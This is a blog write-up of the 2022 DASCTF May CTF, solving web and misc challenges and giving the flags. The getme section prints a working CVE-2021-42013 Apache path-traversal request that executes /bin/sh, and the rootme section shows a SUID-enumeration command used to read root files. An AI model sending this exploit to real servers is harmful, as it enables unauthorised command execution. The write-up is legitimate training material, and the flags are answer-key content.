2022DASCTF MAY 出题人挑战赛 Writeup


WEB

Power Cookie

在这里插入图片描述
在这里插入图片描述
设置Cookie: admin=1;即可
在这里插入图片描述

魔法浏览器

在这里插入图片描述
把源码中的JS拿到Console运行,得到一个UA
在这里插入图片描述
在这里插入图片描述

getme

在这里插入图片描述
在这里插入图片描述
Apache/2.4.50,去年时间出的Apache 远程代码执行 (CVE-2021-42013)
在这里插入图片描述

GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: node4.buuoj.cn:28174
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 06 May 2022 14:36:36 GMT
If-None-Match: "8d-5de58c91a8500"
Content-Length: 45

echo Content-Type: text/plain; echo;ls -lha /

在这里插入图片描述
在这里插入图片描述

MISC

不懂PCB的厨师不是好黑客

在这里插入图片描述
在这里插入图片描述

DASCTF{77e64b28-3e93-42ed-a576-b2e1ab718be6}

卡比

在这里插入图片描述
在这里插入图片描述
维吉尼亚
在这里插入图片描述

FLAG{IMVERYLIKEKIRBY}

噪音

在这里插入图片描述
和我以前出的一题有点像://www.1iene.com/article/details/122005160

对振幅的数值进行分析,可以用上面链接中的脚本分析,或者直接用010 Editor打开加载wav插件
在这里插入图片描述

import wave

obj = wave.open('attachment.wav', 'r')
frames = obj.getnframes()
print("All Frames: {}".format(frames))
frames_data = obj.readframes(50).hex()#提取出前50帧的数据
for i in range(0, len(frames_data), 4):
	data = frames_data[i:i+4]
	real_data = int(data[2:] + data[:2], 16)
	data1 = data[2:] + data[:2]
	print("第{:<2}帧: {} => {}  真实数据值: {}".format(int((i+4)/4), data,data1 , real_data))

在这里插入图片描述
在这里插入图片描述
简单分析下还是能发现每一帧的数值

约等于1000
约等于1500
约等于2000
约等于2500
约等于3000
约等于3500
约等于4000
约等于4500
约等于5000
约等于5500
约等于6000
约等于6500
约等于7000
约等于7500
约等于8000
约等于8500

按照区间可以分成十六部分,猜测十六进制

import wave
import binascii

obj = wave.open('attachment.wav', 'r')
frames = obj.getnframes()
print("All Frames: {}".format(frames))
frames_data = obj.readframes(frames).hex()
hexdata = ''
for i in range(0, len(frames_data), 4):
	data = frames_data[i:i+4]
	real_data = int(data[2:] + data[:2], 16)
	if real_data < 1000:
		hexdata += '0'
	elif real_data > 1000 and real_data < 1500:
		hexdata += '1'
	elif real_data > 1500 and real_data < 2000:
		hexdata += '2'
	elif real_data > 2000 and real_data < 2500:
		hexdata += '3'
	elif real_data > 2500 and real_data < 3000:
		hexdata += '4'
	elif real_data > 3000 and real_data < 3500:
		hexdata += '5'
	elif real_data > 3500 and real_data < 4000:
		hexdata += '6'
	elif real_data > 4000 and real_data < 4500:
		hexdata += '7'
	elif real_data > 4500 and real_data < 5000:
		hexdata += '8'
	elif real_data > 5000 and real_data < 5500:
		hexdata += '9'
	elif real_data > 5500 and real_data < 6000:
		hexdata += 'a'
	elif real_data > 6000 and real_data < 6500:
		hexdata += 'b'
	elif real_data > 6500 and real_data < 7000:
		hexdata += 'c'
	elif real_data > 7000 and real_data < 7500:
		hexdata += 'd'
	elif real_data > 7500 and real_data < 8000:
		hexdata += 'e'
	elif real_data > 8000 and real_data < 8500:
		hexdata += 'f'
	else:
		print(real_data)
		break

print(binascii.unhexlify(hexdata))

在这里插入图片描述

DASCTF{muisc_noise_can_hide_Flaaaag}

rootme

在这里插入图片描述
查找具有SUID权限的命令

find / -user root -perm -4000 -print 2>/dev/null

在这里插入图片描述
date命令有个-f参数可以读文件
在这里插入图片描述
在这里插入图片描述

神必流量

在这里插入图片描述
在这里插入图片描述
选中右键...as a Hex Stream复制出来
在这里插入图片描述
37 7a bc af开始截取,转7z

from binascii import *

hexdata = '377abcaf271c00044aaed88750000000000000006a000000000000002d108d3939dc5abb57f2606b99b18fb7518aa378d2dcfed3f7a197d4e752b6156b026bf975d5fa5c37618bdfe2c567592e7128e139c1a6ac4e9eed598dd3398c03c16a35502e827004852aae6a7342214fa901c30104060001095000070b0100022406f107010a5307ef3e981518c6bd122121010001000c4a4600080a011a4cdb8a00000501190900000000000000000011130066006c00610067002e0074007800740000001900140a010066629f3bc46cd801150601002000000000000600313233343536'
with open('flag.7z', 'wb') as f:
	f.write(unhexlify(hexdata))

解压密码是附加的123456
在这里插入图片描述
得到google云盘下载链接

https://drive.google.com/file/d/140MxBVh-OGvQUuk8tmOw4Xm8it9utIzo/view

在这里插入图片描述
需要对main.exe进行逆向分析

具体请参考:http://www.snowywar.top/?p=3323

DASCTF{6f938f4c-f850-4f04-b489-009c2ed1c4fd}
  • 3
    点赞
  • 1
    收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

末初mochu7

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值